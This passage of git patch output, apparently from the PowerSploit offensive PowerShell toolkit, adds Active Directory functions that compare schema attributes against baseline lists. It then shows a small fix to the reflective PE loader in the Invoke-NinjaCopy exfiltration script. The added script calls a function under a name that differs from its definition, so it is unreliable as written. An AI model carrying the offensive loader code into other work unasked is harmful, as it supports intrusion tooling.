Get-AllAttributesForAClass -class user +.EXAMPLE + PS C:\> Get-AllAttributesForAClass -class computer +#> + [CmdletBinding()] + Param( + [Parameter(Mandatory=$true)] + [String] + $Class + ) + + Process { + #Custom object + $ListOfAttributesFromAD = @() + + #lets get all classes and store in a variable. + $NextClass = $Class + $AllClasses = Do + { + $CurrentClass = $NextClass + $NextClass = Get-ADObject -SearchBase "$((Get-ADRootDSE).SchemaNamingContext)" -Filter {lDAPDisplayName -eq $NextClass} -properties subClassOf |Select-Object -ExpandProperty subClassOf + $CurrentClass + } + While($CurrentClass -ne $NextClass) + #Now that we have our classes in $allClasses lets turn to the attributes + $attributAttributes = 'MayContain','MustContain','systemMayContain','systemMustContain' + Write-verbose "Attempting to find all attributes for the AD Object: $($ADObj.Name)" + $AllAttributes = ForEach ($Class in $AllClasses) + { + $ClassInfo = Get-ADObject -SearchBase "$((Get-ADRootDSE).SchemaNamingContext)" -Filter {lDAPDisplayName -eq $Class} -properties $attributAttributes + ForEach ($attribute in $attributAttributes) + { + $ListOfAttributesFromAD += $ClassInfo.$attribute + $ClassInfo.$attribute + } + } + $ListOfAttributesAD = $ListOfAttributesFromAD | Sort-Object -Unique + write-output $ListOfAttributesAD + } + End + { + } +} + + +function Invoke-CompareAttributesForClass +{ +<# +.Synopsis + Author: @oddvarmoe + Required Dependencies: Search-ADAccounts, Set-ADComputer, Get-ADForest, Get-ADDomain, + Optional Dependencies: None + Compares list of attributes with active attributes in Active Directory. Currently only works with user and computer class. + +.DESCRIPTION + Compares list of attributes with active attributes in Active Directory. + This function is used to spot unusal attributes. + + Example where an attribute is found in AD and not in compare list: + InputObject SideIndicator + ----------- ------------- + TopSecretAttribute => + + +.EXAMPLE + PS C:\> Invoke-CompareAttributesForClass -Class user + +.EXAMPLE + PS C:\> Invoke-CompareAttributesForClass -Class computer +#> + [CmdletBinding()] + Param( + [Parameter(Mandatory=$true)] + [ValidateSet("User","Computer")] + [String] + $Class + ) + + Process { + #https://msdn.microsoft.com/en-us/library/ms683980(v=vs.85).aspx + #List of attributes generated from demo AD with Exchange schema changes on Server 2016 DC + #TODO: Attributes based on AD Domain level or Schema version. + if($Class -eq "user"){ + $UserAttributeListFromAD = Get-AllAttributesForClass -Class user + + $UserAttributelist = @( + "accountExpires", + "aCSPolicyName", + "adminCount", + "adminDescription", + "adminDisplayName", + "allowedAttributes", + "allowedAttributesEffective", + "allowedChildClasses", + "allowedChildClassesEffective", + "assistant", + "attributeCertificateAttribute", + "audio", + "badPasswordTime", + "badPwdCount", + "bridgeheadServerListBL", + "businessCategory", + "businessRoles", + "c", + "canonicalName", + "carLicense", + "cn", + "co", + "codePage", + "comment", + "company", + "controlAccessRights", + "countryCode", + "createTimeStamp", + "dBCSPwd", + "defaultClassStore", + "department", + "departmentNumber", + "description", + "desktopProfile", + "destinationIndicator", + "directReports", + "displayName", + "displayNamePrintable", + "distinguishedName", + "division", + "dSASignature", + "dSCorePropagationData", + "dynamicLDAPServer", + "employeeID", + "employeeNumber", + "employeeType", + "extensionName", + "facsimileTelephoneNumber", + "flags", + "fromEntry", + "frsComputerReferenceBL", + "fRSMemberReferenceBL", + "fSMORoleOwner", + "generationQualifier", + "givenName", + "groupMembershipSAM", + "groupPriority", + "groupsToIgnore", + "homeDirectory", + "homeDrive", + "homePhone", + "homePostalAddress", + "houseIdentifier", + "initials", + "instanceType", + "internationalISDNNumber", + "ipPhone", + "isCriticalSystemObject", + "isDeleted", + "isPrivilegeHolder", + "isRecycled", + "jpegPhoto", + "kMServer", + "l", + "labeledURI", + "lastKnownParent", + "lastLogoff", + "lastLogon", + "lastLogonTimestamp", + "lmPwdHistory", + "localeID", + "lockoutTime", + "logonCount", + "logonHours", + "logonWorkstation", + "mail", + "managedObjects", + "manager", + "masteredBy", + "maxStorage", + "memberOf", + "mhsORAddress", + "middleName", + "mobile", + "modifyTimeStamp", + "msCOM-PartitionSetLink", + "msCOM-UserLink", + "msCOM-UserPartitionSetLink", + "msDFSR-ComputerReferenceBL", + "msDFSR-MemberReferenceBL", + "msDRM-IdentityCertificate", + "msDS-AllowedToActOnBehalfOfOtherIdentity", + "msDS-AllowedToDelegateTo", + "msDS-Approx-Immed-Subordinates", + "msDS-AssignedAuthNPolicy", + "msDS-AssignedAuthNPolicySilo", + "msDS-AuthenticatedAtDC", + "msDS-AuthenticatedToAccountlist", + "msDS-AuthNPolicySiloMembersBL", + "msDS-Cached-Membership", + "msDS-Cached-Membership-Time-Stamp", + "msDS-ClaimSharesPossibleValuesWithBL", + "msDS-CloudAnchor", + "mS-DS-ConsistencyChildCount", + "mS-DS-ConsistencyGuid", + "mS-DS-CreatorSID", + "msDS-EnabledFeatureBL", + "msDS-FailedInteractiveLogonCount", + "msDS-FailedInteractiveLogonCountAtLastSuccessfulLogon", + "msDS-HABSeniorityIndex", + "msDS-HostServiceAccountBL", + "msDS-IsDomainFor", + "msDS-IsFullReplicaFor", + "msDS-IsPartialReplicaFor", + "msDS-IsPrimaryComputerFor", + "msDS-KeyCredentialLink", + "msDS-KeyPrincipalBL", + "msDS-KrbTgtLinkBl", + "msDS-LastFailedInteractiveLogonTime", + "msDS-LastKnownRDN", + "msDS-LastSuccessfulInteractiveLogonTime", + "msDS-LocalEffectiveDeletionTime", + "msDS-LocalEffectiveRecycleTime", + "msDs-masteredBy", + "msds-memberOfTransitive", + "msDS-MembersForAzRoleBL", + "msDS-MembersOfResourcePropertyListBL", + "msds-memberTransitive", + "msDS-NCReplCursors", + "msDS-NCReplInboundNeighbors", + "msDS-NCReplOutboundNeighbors", + "msDS-NC-RO-Replica-Locations-BL", + "msDS-NcType", + "msDS-NonMembersBL", + "msDS-ObjectReferenceBL", + "msDS-ObjectSoa", + "msDS-OIDToGroupLinkBl", + "msDS-OperationsForAzRoleBL", + "msDS-OperationsForAzTaskBL", + "msDS-parentdistname", + "msDS-PhoneticCompanyName", + "msDS-PhoneticDepartment", + "msDS-PhoneticDisplayName", + "msDS-PhoneticFirstName", + "msDS-PhoneticLastName", + "msDS-PrimaryComputer", + "msDS-PrincipalName", + "msDS-PSOApplied", + "msDS-ReplAttributeMetaData", + "msDS-ReplValueMetaData", + "msDS-ReplValueMetaDataExt", + "msDS-ResultantPSO", + "msDS-RevealedDSAs", + "msDS-RevealedListBL", + "msDS-SecondaryKrbTgtNumber", + "msDS-Site-Affinity", + "msDS-SourceAnchor", + "msDS-SourceObjectDN", + "msDS-SupportedEncryptionTypes", + "msDS-SyncServerUrl", + "msDS-TasksForAzRoleBL", + "msDS-TasksForAzTaskBL", + "msDS-TDOEgressBL", + "msDS-TDOIngressBL", + "msDS-User-Account-Control-Computed", + "msDS-UserPasswordExpiryTimeComputed", + "msDS-ValueTypeReferenceBL", + "msExchAcceptedDomainBL", + "msExchAccountForestBL", + "msExchArchiveDatabaseBL", + "msExchAssociatedAcceptedDomainBL", + "msExchAuthPolicyBL", + "msExchAuxMailboxParentObjectIdBL", + "msExchAvailabilityOrgWideAccountBL", + "msExchAvailabilityPerUserAccountBL", + "msExchCatchAllRecipientBL", + "msExchConferenceMailboxBL", + "msExchControllingZone", + "msExchDataEncryptionPolicyBL", + "msExchDelegateListBL", + "msExchDeviceAccessControlRuleBL", + "msExchEvictedMemebersBL", + "msExchHABRootDepartmentBL", + "msExchHouseIdentifier", + "msExchHygieneConfigurationMalwareBL", + "msExchHygieneConfigurationSpamBL", + "msExchIMAPOWAURLPrefixOverride", + "msExchIntendedMailboxPlanBL", + "msExchMailboxMoveSourceArchiveMDBBL", + "msExchMailboxMoveSourceMDBBL", + "msExchMailboxMoveSourceUserBL", + "msExchMailboxMoveStorageMDBBL", + "msExchMailboxMoveTargetArchiveMDBBL", + "msExchMailboxMoveTargetMDBBL", + "msExchMailboxMoveTargetUserBL", + "msExchMDBAvailabilityGroupConfigurationBL", + "msExchMobileRemoteDocumentsAllowedServersBL", + "msExchMobileRemoteDocumentsBlockedServersBL", + "msExchMobileRemoteDocumentsInternalDomainSuffixListBL", + "msExchMultiMailboxDatabasesBL", + "msExchMultiMailboxLocationsBL", + "msExchOABGeneratingMailboxBL", + "msExchOrganizationsAddressBookRootsBL", + "msExchOrganizationsGlobalAddressListsBL", + "msExchOrganizationsTemplateRootsBL", + "msExchOriginatingForest", + "msExchOWAAllowedFileTypesBL", + "msExchOWAAllowedMimeTypesBL", + "msExchOWABlockedFileTypesBL", + "msExchOWABlockedMIMETypesBL", + "msExchOWAForceSaveFileTypesBL", + "msExchOWAForceSaveMIMETypesBL", + "msExchOWARemoteDocumentsAllowedServersBL", + "msExchOWARemoteDocumentsBlockedServersBL", + "msExchOWARemoteDocumentsInternalDomainSuffixListBL", + "msExchOWATranscodingFileTypesBL", + "msExchOWATranscodingMimeTypesBL", + "msExchParentPlanBL", + "msExchQueryBaseDN", + "msExchRBACPolicyBL", + "msExchResourceGUID", + "msExchResourceProperties", + "msExchRMSComputerAccountsBL", + "msExchServerAssociationBL", + "msExchServerSiteBL", + "msExchSMTPReceiveDefaultAcceptedDomainBL", + "msExchSupervisionDLBL", + "msExchSupervisionOneOffBL", + "msExchSupervisionUserBL", + "msExchTransportRuleTargetBL", + "msExchTrustedDomainBL", + "msExchUGMemberBL", + "msExchUserBL", + "msExchUserCulture", + "msIIS-FTPDir", + "msIIS-FTPRoot", + "mSMQDigests", + "mSMQDigestsMig", + "mSMQSignCertificates", + "mSMQSignCertificatesMig", + "msNPAllowDialin", + "msNPCallingStationID", + "msNPSavedCallingStationID", + "msOrg-LeadersBL", + "msPKIAccountCredentials", + "msPKI-CredentialRoamingTokens", + "msPKIDPAPIMasterKeys", + "msPKIRoamingTimeStamp", + "msRADIUSCallbackNumber", + "msRADIUS-FramedInterfaceId", + "msRADIUSFramedIPAddress", + "msRADIUS-FramedIpv6Prefix", + "msRADIUS-FramedIpv6Route", + "msRADIUSFramedRoute", + "msRADIUS-SavedFramedInterfaceId", + "msRADIUS-SavedFramedIpv6Prefix", + "msRADIUS-SavedFramedIpv6Route", + "msRADIUSServiceType", + "msRASSavedCallbackNumber", + "msRASSavedFramedIPAddress", + "msRASSavedFramedRoute", + "msRTCSIP-AcpInfo", + "msRTCSIP-ApplicationOptions", + "msRTCSIP-ArchivingEnabled", + "msRTCSIP-DeploymentLocator", + "msRTCSIP-FederationEnabled", + "msRTCSIP-GroupingID", + "msRTCSIP-InternetAccessEnabled", + "msRTCSIP-Line", + "msRTCSIP-LineServer", + "msRTCSIP-OptionFlags", + "msRTCSIP-OriginatorSid", + "msRTCSIP-OwnerUrn", + "msRTCSIP-PrimaryHomeServer", + "msRTCSIP-PrimaryUserAddress", + "msRTCSIP-PrivateLine", + "msRTCSIP-TargetHomeServer", + "msRTCSIP-TargetUserPolicies", + "msRTCSIP-TenantId", + "msRTCSIP-UserEnabled", + "msRTCSIP-UserExtension", + "msRTCSIP-UserLocationProfile", + "msRTCSIP-UserPolicies", + "msRTCSIP-UserPolicy", + "msRTCSIP-UserRoutingGroupId", + "msSFU30Name", + "msSFU30NisDomain", + "msSFU30PosixMemberOf", + "msTSAllowLogon", + "msTSBrokenConnectionAction", + "msTSConnectClientDrives", + "msTSConnectPrinterDrives", + "msTSDefaultToMainPrinter", + "msTSExpireDate", + "msTSExpireDate2", + "msTSExpireDate3", + "msTSExpireDate4", + "msTSHomeDirectory", + "msTSHomeDrive", + "msTSInitialProgram", + "msTSLicenseVersion", + "msTSLicenseVersion2", + "msTSLicenseVersion3", + "msTSLicenseVersion4", + "msTSLSProperty01", + "msTSLSProperty02", + "msTSManagingLS", + "msTSManagingLS2", + "msTSManagingLS3", + "msTSManagingLS4", + "msTSMaxConnectionTime", + "msTSMaxDisconnectionTime", + "msTSMaxIdleTime", + "msTSPrimaryDesktop", + "msTSProfilePath", + "msTSProperty01", + "msTSProperty02", + "msTSReconnectionAction", + "msTSRemoteControl", + "msTSSecondaryDesktops", + "msTSWorkDirectory", + "name", + "netbootSCPBL", + "networkAddress", + "nonSecurityMemberBL", + "ntPwdHistory", + "nTSecurityDescriptor", + "o", + "objectCategory", + "objectClass", + "objectGUID", + "objectVersion", + "operatorCount", + "otherFacsimileTelephoneNumber", + "otherHomePhone", + "otherIpPhone", + "otherLoginWorkstations", + "otherMailbox", + "otherMobile", + "otherPager", + "otherTelephone", + "otherWellKnownObjects", + "ou", + "ownerBL", + "pager", + "partialAttributeDeletionList", + "partialAttributeSet", + "personalPager", + "personalTitle", + "photo", + "physicalDeliveryOfficeName", + "possibleInferiors", + "postalAddress", + "postalCode", + "postOfficeBox", + "preferredDeliveryMethod", + "preferredLanguage", + "preferredOU", + "primaryGroupID", + "primaryInternationalISDNNumber", + "primaryTelexNumber", + "profilePath", + "proxiedObjectName", + "proxyAddresses", + "pwdLastSet", + "queryPolicyBL", + "registeredAddress", + "replPropertyMetaData", + "replUpToDateVector", + "repsFrom", + "repsTo", + "revision", + "roomNumber", + "scriptPath", + "sDRightsEffective", + "secretary", + "seeAlso", + "serialNumber", + "serverReferenceBL", + "servicePrincipalName", + "showInAdvancedViewOnly", + "siteObjectBL", + "sn", + "st", + "street", + "streetAddress", + "structuralObjectClass", + "subRefs", + "subSchemaSubEntry", + "systemFlags", + "telephoneAssistant", + "telephoneNumber", + "teletexTerminalIdentifier", + "telexNumber", + "terminalServer", + "thumbnailLogo", + "thumbnailPhoto", + "title", + "uid", + "unicodePwd", + "url", + "userAccountControl", + "userCertificate", + "userParameters", + "userPassword", + "userPKCS12", + "userPrincipalName", + "userSharedFolder", + "userSharedFolderOther", + "userSMIMECertificate", + "userWorkstations", + "uSNChanged", + "uSNCreated", + "uSNDSALastObjRemoved", + "USNIntersite", + "uSNLastObjRem", + "uSNSource", + "wbemPath", + "wellKnownObjects", + "whenChanged", + "whenCreated", + "wWWHomePage", + "x121Address", + "x500uniqueIdentifier" + ) + $Compare = Compare-Object -ReferenceObject $UserAttributelist -DifferenceObject $UserAttributeListFromAD + Write-Output $Compare + } + + if($Class -eq "computer"){ + $ComputerAttributeListFromAD = Get-AllAttributesForClass -Class computer + + $ComputerAttributeList = @( + "accountExpires", + "aCSPolicyName", + "adminCount", + "adminDescription", + "adminDisplayName", + "allowedAttributes", + "allowedAttributesEffective", + "allowedChildClasses", + "allowedChildClassesEffective", + "assistant", + "attributeCertificateAttribute", + "audio", + "badPasswordTime", + "badPwdCount", + "bridgeheadServerListBL", + "businessCategory", + "businessRoles", + "c", + "canonicalName", + "carLicense", + "catalogs", + "cn", + "co", + "codePage", + "comment", + "company", + "controlAccessRights", + "countryCode", + "createTimeStamp", + "dBCSPwd", + "defaultClassStore", + "defaultLocalPolicyObject", + "department", + "departmentNumber", + "description", + "desktopProfile", + "destinationIndicator", + "directReports", + "displayName", + "displayNamePrintable", + "distinguishedName", + "division", + "dNSHostName", + "dSASignature", + "dSCorePropagationData", + "dynamicLDAPServer", + "employeeID", + "employeeNumber", + "employeeType", + "extensionName", + "facsimileTelephoneNumber", + "flags", + "fromEntry", + "frsComputerReferenceBL", + "fRSMemberReferenceBL", + "fSMORoleOwner", + "generationQualifier", + "givenName", + "groupMembershipSAM", + "groupPriority", + "groupsToIgnore", + "homeDirectory", + "homeDrive", + "homePhone", + "homePostalAddress", + "houseIdentifier", + "initials", + "instanceType", + "internationalISDNNumber", + "ipPhone", + "isCriticalSystemObject", + "isDeleted", + "isPrivilegeHolder", + "isRecycled", + "jpegPhoto", + "kMServer", + "l", + "labeledURI", + "lastKnownParent", + "lastLogoff", + "lastLogon", + "lastLogonTimestamp", + "lmPwdHistory", + "localeID", + "localPolicyFlags", + "location", + "lockoutTime", + "logonCount", + "logonHours", + "logonWorkstation", + "logRolloverInterval", + "machineRole", + "mail", + "managedBy", + "managedObjects", + "manager", + "masteredBy", + "maxStorage", + "memberOf", + "mhsORAddress", + "middleName", + "mobile", + "modifyTimeStamp", + "monitoredConfigurations", + "monitoredServices", + "monitoringAvailabilityStyle", + "monitoringAvailabilityWindow", + "monitoringCachedViaMail", + "monitoringCachedViaRPC", + "monitoringMailUpdateInterval", + "monitoringMailUpdateUnits", + "monitoringRPCUpdateInterval", + "monitoringRPCUpdateUnits", + "msCOM-PartitionSetLink", + "msCOM-UserLink", + "msCOM-UserPartitionSetLink", + "msDFSR-ComputerReferenceBL", + "msDFSR-MemberReferenceBL", + "msDRM-IdentityCertificate", + "msDS-AdditionalDnsHostName", + "msDS-AdditionalSamAccountName", + "msDS-AllowedToActOnBehalfOfOtherIdentity", + "msDS-AllowedToDelegateTo", + "msDS-Approx-Immed-Subordinates", + "msDS-AssignedAuthNPolicy", + "msDS-AssignedAuthNPolicySilo", + "msDS-AuthenticatedAtDC", + "msDS-AuthenticatedToAccountlist", + "msDS-AuthNPolicySiloMembersBL", + "msDS-Cached-Membership", + "msDS-Cached-Membership-Time-Stamp", + "msDS-ClaimSharesPossibleValuesWithBL", + "msDS-CloudAnchor", + "mS-DS-ConsistencyChildCount", + "mS-DS-ConsistencyGuid", + "mS-DS-CreatorSID", + "msDS-EnabledFeatureBL", + "msDS-ExecuteScriptPassword", + "msDS-FailedInteractiveLogonCount", + "msDS-FailedInteractiveLogonCountAtLastSuccessfulLogon", + "msDS-GenerationId", + "msDS-HABSeniorityIndex", + "msDS-HostServiceAccount", + "msDS-HostServiceAccountBL", + "msDS-IsDomainFor", + "msDS-IsFullReplicaFor", + "msDS-isGC", + "msDS-IsPartialReplicaFor", + "msDS-IsPrimaryComputerFor", + "msDS-isRODC", + "msDS-IsUserCachableAtRodc", + "msDS-KeyCredentialLink", + "msDS-KeyPrincipalBL", + "msDS-KrbTgtLink", + "msDS-KrbTgtLinkBl", + "msDS-LastFailedInteractiveLogonTime", + "msDS-LastKnownRDN", + "msDS-LastSuccessfulInteractiveLogonTime", + "msDS-LocalEffectiveDeletionTime", + "msDS-LocalEffectiveRecycleTime", + "msDs-masteredBy", + "msds-memberOfTransitive", + "msDS-MembersForAzRoleBL", + "msDS-MembersOfResourcePropertyListBL", + "msds-memberTransitive", + "msDS-NCReplCursors", + "msDS-NCReplInboundNeighbors", + "msDS-NCReplOutboundNeighbors", + "msDS-NC-RO-Replica-Locations-BL", + "msDS-NcType", + "msDS-NeverRevealGroup", + "msDS-NonMembersBL", + "msDS-ObjectReferenceBL", + "msDS-ObjectSoa", + "msDS-OIDToGroupLinkBl", + "msDS-OperationsForAzRoleBL", + "msDS-OperationsForAzTaskBL", + "msDS-parentdistname", + "msDS-PhoneticCompanyName", + "msDS-PhoneticDepartment", + "msDS-PhoneticDisplayName", + "msDS-PhoneticFirstName", + "msDS-PhoneticLastName", + "msDS-PrimaryComputer", + "msDS-PrincipalName", + "msDS-PromotionSettings", + "msDS-PSOApplied", + "msDS-ReplAttributeMetaData", + "msDS-ReplValueMetaData", + "msDS-ReplValueMetaDataExt", + "msDS-ResultantPSO", + "msDS-RevealedDSAs", + "msDS-RevealedList", + "msDS-RevealedListBL", + "msDS-RevealedUsers", + "msDS-RevealOnDemandGroup", + "msDS-SecondaryKrbTgtNumber", + "msDS-Site-Affinity", + "msDS-SiteName", + "msDS-SourceAnchor", + "msDS-SourceObjectDN", + "msDS-SupportedEncryptionTypes", + "msDS-SyncServerUrl", + "msDS-TasksForAzRoleBL", + "msDS-TasksForAzTaskBL", + "msDS-TDOEgressBL", + "msDS-TDOIngressBL", + "msDS-User-Account-Control-Computed", + "msDS-UserPasswordExpiryTimeComputed", + "msDS-ValueTypeReferenceBL", + "msExchAcceptedDomainBL", + "msExchAccountForestBL", + "msExchArchiveDatabaseBL", + "msExchAssociatedAcceptedDomainBL", + "msExchAuthPolicyBL", + "msExchAuxMailboxParentObjectIdBL", + "msExchAvailabilityOrgWideAccountBL", + "msExchAvailabilityPerUserAccountBL", + "msExchCatchAllRecipientBL", + "msExchComponentStates", + "msExchConferenceMailboxBL", + "msExchControllingZone", + "msExchDataEncryptionPolicyBL", + "msExchDelegateListBL", + "msExchDeviceAccessControlRuleBL", + "msExchEvictedMemebersBL", + "msExchExchangeServerLink", + "msExchHABRootDepartmentBL", + "msExchHouseIdentifier", + "msExchHygieneConfigurationMalwareBL", + "msExchHygieneConfigurationSpamBL", + "msExchIMAPOWAURLPrefixOverride", + "msExchIntendedMailboxPlanBL", + "msExchMailboxMoveSourceArchiveMDBBL", + "msExchMailboxMoveSourceMDBBL", + "msExchMailboxMoveSourceUserBL", + "msExchMailboxMoveStorageMDBBL", + "msExchMailboxMoveTargetArchiveMDBBL", + "msExchMailboxMoveTargetMDBBL", + "msExchMailboxMoveTargetUserBL", + "msExchMDBAvailabilityGroupConfigurationBL", + "msExchMobileRemoteDocumentsAllowedServersBL", + "msExchMobileRemoteDocumentsBlockedServersBL", + "msExchMobileRemoteDocumentsInternalDomainSuffixListBL", + "msExchMultiMailboxDatabasesBL", + "msExchMultiMailboxLocationsBL", + "msExchOABGeneratingMailboxBL", + "msExchOrganizationsAddressBookRootsBL", + "msExchOrganizationsGlobalAddressListsBL", + "msExchOrganizationsTemplateRootsBL", + "msExchOriginatingForest", + "msExchOWAAllowedFileTypesBL", + "msExchOWAAllowedMimeTypesBL", + "msExchOWABlockedFileTypesBL", + "msExchOWABlockedMIMETypesBL", + "msExchOWAForceSaveFileTypesBL", + "msExchOWAForceSaveMIMETypesBL", + "msExchOWARemoteDocumentsAllowedServersBL", + "msExchOWARemoteDocumentsBlockedServersBL", + "msExchOWARemoteDocumentsInternalDomainSuffixListBL", + "msExchOWATranscodingFileTypesBL", + "msExchOWATranscodingMimeTypesBL", + "msExchParentPlanBL", + "msExchPolicyList", + "msExchPolicyOptionList", + "msExchQueryBaseDN", + "msExchRBACPolicyBL", + "msExchResourceGUID", + "msExchResourceProperties", + "msExchRMSComputerAccountsBL", + "msExchServerAssociationBL", + "msExchServerSiteBL", + "msExchSMTPReceiveDefaultAcceptedDomainBL", + "msExchSupervisionDLBL", + "msExchSupervisionOneOffBL", + "msExchSupervisionUserBL", + "msExchTransportRuleTargetBL", + "msExchTrustedDomainBL", + "msExchUGMemberBL", + "msExchUserBL", + "msExchUserCulture", + "msIIS-FTPDir", + "msIIS-FTPRoot", + "msImaging-HashAlgorithm", + "msImaging-ThumbprintHash", + "mSMQDigests", + "mSMQDigestsMig", + "mSMQSignCertificates", + "mSMQSignCertificatesMig", + "msNPAllowDialin", + "msNPCallingStationID", + "msNPSavedCallingStationID", + "msOrg-LeadersBL", + "msPKIAccountCredentials", + "msPKI-CredentialRoamingTokens", + "msPKIDPAPIMasterKeys", + "msPKIRoamingTimeStamp", + "msRADIUSCallbackNumber", + "msRADIUS-FramedInterfaceId", + "msRADIUSFramedIPAddress", + "msRADIUS-FramedIpv6Prefix", + "msRADIUS-FramedIpv6Route", + "msRADIUSFramedRoute", + "msRADIUS-SavedFramedInterfaceId", + "msRADIUS-SavedFramedIpv6Prefix", + "msRADIUS-SavedFramedIpv6Route", + "msRADIUSServiceType", + "msRASSavedCallbackNumber", + "msRASSavedFramedIPAddress", + "msRASSavedFramedRoute", + "msRTCSIP-AcpInfo", + "msRTCSIP-ApplicationOptions", + "msRTCSIP-ArchivingEnabled", + "msRTCSIP-DeploymentLocator", + "msRTCSIP-FederationEnabled", + "msRTCSIP-GroupingID", + "msRTCSIP-InternetAccessEnabled", + "msRTCSIP-Line", + "msRTCSIP-LineServer", + "msRTCSIP-OptionFlags", + "msRTCSIP-OriginatorSid", + "msRTCSIP-OwnerUrn", + "msRTCSIP-PrimaryHomeServer", + "msRTCSIP-PrimaryUserAddress", + "msRTCSIP-PrivateLine", + "msRTCSIP-TargetHomeServer", + "msRTCSIP-TargetUserPolicies", + "msRTCSIP-TenantId", + "msRTCSIP-UserEnabled", + "msRTCSIP-UserExtension", + "msRTCSIP-UserLocationProfile", + "msRTCSIP-UserPolicies", + "msRTCSIP-UserPolicy", + "msRTCSIP-UserRoutingGroupId", + "msSFU30Aliases", + "msSFU30Name", + "msSFU30NisDomain", + "msSFU30PosixMemberOf", + "msTPM-OwnerInformation", + "msTPM-TpmInformationForComputer", + "msTSAllowLogon", + "msTSBrokenConnectionAction", + "msTSConnectClientDrives", + "msTSConnectPrinterDrives", + "msTSDefaultToMainPrinter", + "msTSEndpointData", + "msTSEndpointPlugin", + "msTSEndpointType", + "msTSExpireDate", + "msTSExpireDate2", + "msTSExpireDate3", + "msTSExpireDate4", + "msTSHomeDirectory", + "msTSHomeDrive", + "msTSInitialProgram", + "msTSLicenseVersion", + "msTSLicenseVersion2", + "msTSLicenseVersion3", + "msTSLicenseVersion4", + "msTSLSProperty01", + "msTSLSProperty02", + "msTSManagingLS", + "msTSManagingLS2", + "msTSManagingLS3", + "msTSManagingLS4", + "msTSMaxConnectionTime", + "msTSMaxDisconnectionTime", + "msTSMaxIdleTime", + "msTSPrimaryDesktop", + "msTSPrimaryDesktopBL", + "msTSProfilePath", + "msTSProperty01", + "msTSProperty02", + "msTSReconnectionAction", + "msTSRemoteControl", + "msTSSecondaryDesktopBL", + "msTSSecondaryDesktops", + "msTSWorkDirectory", + "name", + "netbootDUID", + "netbootGUID", + "netbootInitialization", + "netbootMachineFilePath", + "netbootMirrorDataFile", + "netbootSCPBL", + "netbootSIFFile", + "networkAddress", + "nisMapName", + "nonSecurityMemberBL", + "ntPwdHistory", + "nTSecurityDescriptor", + "o", + "objectCategory", + "objectClass", + "objectGUID", + "objectVersion", + "operatingSystem", + "operatingSystemHotfix", + "operatingSystemServicePack", + "operatingSystemVersion", + "operatorCount", + "otherFacsimileTelephoneNumber", + "otherHomePhone", + "otherIpPhone", + "otherLoginWorkstations", + "otherMailbox", + "otherMobile", + "otherPager", + "otherTelephone", + "otherWellKnownObjects", + "ou", + "ownerBL", + "pager", + "partialAttributeDeletionList", + "partialAttributeSet", + "personalPager", + "personalTitle", + "photo", + "physicalDeliveryOfficeName", + "physicalLocationObject", + "policyReplicationFlags", + "possibleInferiors", + "postalAddress", + "postalCode", + "postOfficeBox", + "preferredDeliveryMethod", + "preferredLanguage", + "preferredOU", + "primaryGroupID", + "primaryInternationalISDNNumber", + "primaryTelexNumber", + "profilePath", + "promoExpiration", + "proxiedObjectName", + "proxyAddresses", + "pwdLastSet", + "queryPolicyBL", + "registeredAddress", + "replPropertyMetaData", + "replUpToDateVector", + "repsFrom", + "repsTo", + "revision", + "rIDSetReferences", + "roomNumber", + "scriptPath", + "sDRightsEffective", + "secretary", + "securityProtocol", + "seeAlso", + "serialNumber", + "serverReferenceBL", + "servicePrincipalName", + "showInAdvancedViewOnly", + "siteGUID", + "siteObjectBL", + "sn", + "st", + "street", + "streetAddress", + "structuralObjectClass", + "subRefs", + "subSchemaSubEntry", + "systemFlags", + "telephoneAssistant", + "telephoneNumber", + "teletexTerminalIdentifier", + "telexNumber", + "terminalServer", + "thumbnailLogo", + "thumbnailPhoto", + "title", + "trackingLogPathName", + "type", + "uid", + "unicodePwd", + "url", + "userAccountControl", + "userCertificate", + "userParameters", + "userPassword", + "userPKCS12", + "userPrincipalName", + "userSharedFolder", + "userSharedFolderOther", + "userSMIMECertificate", + "userWorkstations", + "uSNChanged", + "uSNCreated", + "uSNDSALastObjRemoved", + "USNIntersite", + "uSNLastObjRem", + "uSNSource", + "volumeCount", + "wbemPath", + "wellKnownObjects", + "whenChanged", + "whenCreated", + "wWWHomePage", + "x121Address", + "x500uniqueIdentifier" + ) + $Compare = Compare-Object -ReferenceObject $ComputerAttributeList -DifferenceObject $ComputerAttributeListFromAD + Write-Output $Compare + } + } +} + \ No newline at end of file From bd6fe64316afe293d6b4cdf095ed3cfb64b6ab25 Mon Sep 17 00:00:00 2001 From: b33f Date: Mon, 13 Feb 2017 22:41:26 +0000 Subject: [PATCH 249/296] Cast DllCharacteristics to [Int] Fix for System.InvalidCastException: https://github.com/PowerShellMafia/PowerSploit/issues/152 --- Exfiltration/Invoke-NinjaCopy.ps1 | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/Exfiltration/Invoke-NinjaCopy.ps1 b/Exfiltration/Invoke-NinjaCopy.ps1 index f22d5f5b..e3eb8f05 100644 --- a/Exfiltration/Invoke-NinjaCopy.ps1 +++ b/Exfiltration/Invoke-NinjaCopy.ps1 @@ -2205,7 +2205,7 @@ $RemoteScriptBlock = { $PEInfo = Get-PEBasicInfo -PEBytes $PEBytes -Win32Types $Win32Types $OriginalImageBase = $PEInfo.OriginalImageBase $NXCompatible = $true - if (($PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT) -ne $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT) + if (([Int] $PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT) -ne $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT) { Write-Warning "PE is not compatible with DEP, might cause issues" -WarningAction Continue $NXCompatible = $false @@ -2263,7 +2263,7 @@ $RemoteScriptBlock = { Write-Verbose "Allocating memory for the PE and write its headers to memory" [IntPtr]$LoadAddr = [IntPtr]::Zero - if (($PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE) -ne $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE) + if (([Int] $PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE) -ne $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE) { Write-Warning "PE file being reflectively loaded is not ASLR compatible. If the loading fails, try restarting PowerShell and trying again" -WarningAction Continue [IntPtr]$LoadAddr = $OriginalImageBase From f2a9cb2ecc28495ae7e31e228e14185dc1d6614e Mon Sep 17 00:00:00 2001 From: Jon Cave Date: Wed, 5 Apr 2017 13:15:54 +0100 Subject: 